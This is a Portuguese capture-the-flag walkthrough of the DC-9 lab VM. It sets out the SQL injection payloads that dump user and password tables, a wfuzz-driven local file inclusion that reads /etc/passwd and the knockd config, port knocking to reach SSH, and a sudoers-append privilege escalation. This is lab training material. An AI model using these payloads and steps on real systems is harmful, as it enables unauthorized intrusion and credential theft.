Writeup - DC9 - OSCP Like VM

Posted on Thu, Jul 30, 2020 lfi fuzz

Este é um WriteUP que resume mais ou menos todas as tentativas que foram feitas até chegar ao resultado final, mas houveram muitos percalços ao longo do caminho que foram descartados para não deixar o writeup mais longo do que já é.

Dados da VM

Achei um desafio bem interessante, não tão trivial e que foi pensado, segundo o próprio criador, para ser uma máquina que temeta mais a um caso real do que máquinas voltadas para CTFs com "pegadinhas", dicas, etc.

SCAN

root@kali:/mnt/hgfs/trainnings/OSCPlike/Vulnhub-01-DC9# nmap 192.168.1.9
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-04 20:28 EDT
Nmap scan report for 192.168.1.9
Host is up (0.00098s latency).
Not shown: 998 closed ports
PORT   STATE    SERVICE
22/tcp filtered ssh
80/tcp open     http
MAC Address: 00:0C:29:0C:D9:D6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds


root@kali:/mnt/hgfs/trainnings/OSCPlike/Vulnhub-01-DC9# nmap -sV -O -p80 192.168.1.9
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-04 20:28 EDT
Nmap scan report for 192.168.1.9
Host is up (0.0017s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
MAC Address: 00:0C:29:0C:D9:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.33 seconds

Observamos que obtemos uma porta aberta (80) e uma porta filtrada (22), ou seja, provavelmente porta está aberta no servidor mas está limitado o acesso pelo firewall da máquina!

ENUMERATION

Acessando o endereço no Browser

Observamos que existe uma menção , logo de cara, ao domínio example.com. Inserindo uma entrada no /etc/hosts pois pode ser que o apache esteja funcionando com Virtual Hosts e exiba algum outro site quanto acessado por domínio e não por IP.

echo "192.168.1.9  example.com" >> /etc/hosts

Verificamos que o site continua o mesmo acessando através do IP ou do domínio. Virtual Host descartado!

Vamos usar o goBuster para enumerar alguns diretórios e o nikto para verificar se existe alguma vulnerabilidade associada.

nikto

root@kali:/mnt/hgfs/trainnings/OSCPlike/Vulnhub-01-DC9# nikto -host 192.168.1.9
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.9
+ Target Hostname:    192.168.1.9
+ Target Port:        80
+ Start Time:         2020-07-04 20:38:07 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7918 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2020-07-04 20:40:10 (GMT-4) (123 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedn

goBuster

root@kali:/mnt/hgfs/trainnings/OSCPlike/Vulnhub-01-DC9# gobuster dir -u http://192.168.1.9:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.1.9:80/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Show length:    true
[+] Extensions:     jsp,txt,html,php,asp,aspx
[+] Timeout:        10s
===============================================================
2020/07/05 19:53:12 Starting gobuster
===============================================================
/.hta (Status: 403) [Size: 276]
/.hta.jsp (Status: 403) [Size: 276]
/.hta.txt (Status: 403) [Size: 276]
/.hta.html (Status: 403) [Size: 276]
/.hta.php (Status: 403) [Size: 276]
/.hta.asp (Status: 403) [Size: 276]
/.hta.aspx (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/.htpasswd.html (Status: 403) [Size: 276]
/.htpasswd.php (Status: 403) [Size: 276]
/.htpasswd.asp (Status: 403) [Size: 276]
/.htpasswd.aspx (Status: 403) [Size: 276]
/.htpasswd.jsp (Status: 403) [Size: 276]
/.htpasswd.txt (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/.htaccess.jsp (Status: 403) [Size: 276]
/.htaccess.txt (Status: 403) [Size: 276]
/.htaccess.html (Status: 403) [Size: 276]
/.htaccess.php (Status: 403) [Size: 276]
/.htaccess.asp (Status: 403) [Size: 276]
/.htaccess.aspx (Status: 403) [Size: 276]
/config.php (Status: 200) [Size: 0]
/css (Status: 301) [Size: 308]
/display.php (Status: 200) [Size: 2961]
/includes (Status: 301) [Size: 313]
/index.php (Status: 200) [Size: 917]
/index.php (Status: 200) [Size: 917]
/logout.php (Status: 302) [Size: 0]
/manage.php (Status: 200) [Size: 1210]
/results.php (Status: 200) [Size: 1056]
/search.php (Status: 200) [Size: 1091]
/server-status (Status: 403) [Size: 276]
/session.php (Status: 302) [Size: 0]
/welcome.php (Status: 302) [Size: 0]
===============================================================
2020/07/05 19:53:43 Finished
===============================================================

Podemos observar acima que existem alguns diretórios e arquivos encontrados.

Ao acessar o welcome.php observamos que ele faz um redirect para o manage.php, já disponibiliza outras opções no menu, como o Add Record e apresenta uma mensagem no rodapé de File does not Exist. Seria um LFI ?

Parece que ao acessar o welcome.php diretamente, sem um login prévio, fez o site autenticar como admin mas não completamente, pois a funcionalidade de Add Record, no menu, não funciona corretamente.

O site apresenta uma funcionalidade de search. Vamos tentar verificar se possui um SQLi.

ataque
resultado

Aparentemente, pelo resultado, nos levaria a acreditar que a aplicação está tratando erros de SQLi, já que o código acima deveria gerar um erro uma vez que geraria um SQL mais ou menos do tipo: SELECT campo FROM tabela WHERE campo = '' 1=1 — - , o que daria erro por falta de um operador lógico no WHERE.

Vamos tentar mais uma vez agora com um operador lógico :

ataque

resultado

Observarmos que a aplicação respondeu ao SQLi mostrando todos o conteúdo da tabela devido a condição or 1=1 . Vamos então enumerar os bancos, tabelas, campos e conteúdos. Foram utilizados os seguintes comandos inseridos no campo search:

1 - Quantidade de Colunas: Ordenar até não obter resultado!
tom' or 1=1 order by 7 -- -  <- Não retorna nenhum resultado, logo, são 6 colunas 
2 - Verificar em que campos temos retorno visual
tom' union select 'a','b','c','d','e','f' -- -
3 - Informações gerais do banco
tom' union select @@datadir,database(),@@version,user(),system_user(),@@hostname  -- -

ID: /var/lib/mysql/
Name: Staff 10.3.17-MariaDB-0+deb10u1
Position: dbuser@localhost
Phone No: dbuser@localhost
Email: dc-9
4 - Listando todas as tabelas de todos os bancos de uma vez só

tom' union SELECT 1,group_concat(table_schema,":",table_name,"<br/>"),3,4,5,6 FROM information_schema.tables -- -

(...)
,information_schema:TRIGGERS
,information_schema:USER_PRIVILEGES
,information_schema:VIEWS
(...)
,Staff:StaffDetails
,Staff:Users
,users:UserDetails
5 - Listando todas as colunas das tabelas que nos interessam

tom' union SELECT 1,group_concat(table_schema,":",table_name,"->",column_name,"<br/>"),3,4,5,6 FROM information_schema.columns WHERE table_name = 'Users' or table_name = 'UserDetails' or table_name = "USER_PRIVILEGES" -- - 


ID: 1
Name: information_schema:USER_PRIVILEGES->GRANTEE
,information_schema:USER_PRIVILEGES->TABLE_CATALOG
,information_schema:USER_PRIVILEGES->PRIVILEGE_TYPE
,information_schema:USER_PRIVILEGES->IS_GRANTABLE
,Staff:Users->UserID
,Staff:Users->Username
,Staff:Users->Password
,users:UserDetails->id
,users:UserDetails->firstname
,users:UserDetails->lastname
,users:UserDetails->username
,users:UserDetails->password
,users:UserDetails->reg_date
3
Position: 4
Phone No: 5
Email: 6
6 - Verificando o conteúdo da tabela Staff.Users

tom' union select 1,group_concat(Username,'=',Password,'<br/>'),3,4,5,6 from Staff.Users-- - 

ID: 1
Name: admin=856f5de590ef37314e7c3bdf6f8a66dc
3
Position: 4
Phone No: 5
Email: 6

Obtemos uma credencial de Admin com a senha que parece um hash. Colocando no crackstation.net obtemos

7 - Verificando o conteúdo da tabela users.UserDetails

tom' union select 1,group_concat(Username,'=',Password,'<br/>'),3,4,5,6 from users.UserDetails-- - 

ID: 1
Name: 
marym=3kfs86sfd
,julied=468sfdfsd2
,fredf=4sfd87sfd1
,barneyr=RocksOff
,tomc=TC&TheBoyz
,jerrym=B8m#48sd
,wilmaf=Pebbles
,bettyr=BamBam01
,chandlerb=UrAG0D!
,joeyt=Passw0rd
,rachelg=yN72#dsd
,rossg=ILoveRachel
,monicag=3248dsds7s
,phoebeb=smellycats
,scoots=YR3BVxxxw87
,janitor=Ilovepeepee
,janitor2=Hawaii-Five-0
3
Position: 4
Phone No: 5
Email: 6

Mais credenciais.

Encurtando a conversa, usando a credencial de admin através do menu manage temos acesso completo a opção de Add Record que nos permite escrever no banco. A aplicação é vulnerável a XSS, mas não utilizamos ela para nada.

Neste momento, ainda estamos "encucado" com um possível LFI e com esse tanto de credenciais que nos faz imaginar que estão ai para podermos acessar aquela porta 22 que está bloqueada! Como já tinha lido sobre Port Knock um tempo atrás fiquei imaginando se tratar disso. Em alguns desafios vi que o atacante acaba de alguma forma tendo acesso a um pcap onde através da análise de tráfego dá para descobrir a sequência de portas a serem acessadas.

Bem, vamos então tentar fazer um fuzz para descobrir qual seria o parâmetro que nos permitiria obter o LFI. Para isso utilizaremos o WFUZZ.

Como vimos que o LFI aparece apenas quando estamos logados, precisamos logar na aplicação com as credenciais de admin que obtivemos ou acessar o welcome.php diretamente para que a aplicação gere um cookie de autenticação. Usaremos esse cookie para o WFUZZ poder simular acessos como um usuário autenticado.

não autenticado. sem mensagem no rodapé
autenticado. mensagem no rodapé

Para obter o cookie usaremos, depois de autenticado, a extensão para o firefox : cookie quick manager

Após clicar em Search Cookies for example.com , abrirá uma nova aba com o cookie. Só copiar!

Hora de usar o WFUZZ usando uma lista contendo os principais nomes utilizados como parâmetros

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=te7118tl328rqgpqu0t37vrdi3" -u http://192.168.1.9/manage.php?FUZZ=../../../../../../../../../../../../etc/passwd

O Wfuzz vai acesar a url informada substituindo a palavra FUZZ por cada nome encontrado na lista. Como esperado ele vai gerar um resultado igual para todas as tentativas onde o LFI não funcionar, neste caso, conforme obnserva-se da imagem acima, um resultado contendo 1341 caracteres. Para não ter que depois ficar rolando tela e procurando se houve ou não alguma mudança de comportamento no retorno, vamos usar o grep para mostrar apenas o que for diferente de 1341 Ch.

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=te7118tl328rqgpqu0t37vrdi3" -u http://192.168.1.9/manage.php?FUZZ=../../../../../../../../../../../../etc/passwd | grep -v "1341 Ch"

Parâmetro encontrado: file. Vamos testar no browser e ver se obtemos a resposta que esperamos.

Conseguimos o LFI. Como podemos notar, no /etc/passwd constam os usuários que enumeramos lá em cima via SQLi, o que nos reforça a idéia de um acesso via SSH, afinal, não teria sentido um servidor com usuários mas sem nenhum tipo de acesso.

Neste ponto, com ajuda de um grupo de amigos, um deles deu a idéia de verificar se não existia um arquivo de configuração de um serviço chamado knockd, que geralmente é utilizado para Port Knock. vamos testar.

Tá ai , arquivo de configuração encontrado e a sequência de portas a serem "batidas".

[openSSH]
	sequence    = 7469,8475,9842
	seq_timeout = 25
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9842,8475,7469
	seq_timeout = 25
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

Vamos bater então na porta 7469, 8475 e 9842 para ver se vai abrir a porta 22, conforme regra do iptables. Podemos fazer isso com um hping3 ou com um knock , que vem no pacote do knockd ( apt install knockd )

root@kali:/home/kali# knock -v -d1000 192.168.1.9 7469 8475 9842
hitting tcp 192.168.1.9:7469
hitting tcp 192.168.1.9:8475
hitting tcp 192.168.1.9:9842

root@kali:/home/kali# nmap 192.168.1.9
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-10 17:04 EDT
Nmap scan report for example.com (192.168.1.9)
Host is up (0.00056s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:0C:D9:D6 (VMware)

Podemos observar que agora a porta 22 está aberta! Hora de tentar entrar com os usuários que obtivemos.

Foram várias tentativas, claro, mas vamos na que funcionou. Vamos acessar com o Donald Trump!

Obtemos mais algumas senhas!

.secrets-for-putin/passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

Vamos tentar ver se o janitor tem permissão para sudo

Existe um usuário que na descrição dele fala que é o System Administrator. Vamos tentar usar alguma destas senhas obtidas para ver se conseguimos autenticar com o usuário dele.

Sendo System Admin, vamos ver se tem permissão de sudo.

Opa, possui permissão de sudo para executar o binário em /opt/devstuff/dist/test/test

Vamos testar e ver do que se trata

Trata-se de um binário que aparentemente é um python compilado que espera dois parâmetros: read e append. Parece que trata-se de pegar um texto ou arquivo e fazer um append em outro.

Ele espera um arquivo onde colocamos o aaaa.

Pronto! Temos um binário que pega o conteúdo de um arquivo e adiciona em outro. Logo, que tal adicionarmos permissão total de sudo para o fredf ?!

E agora a Flag.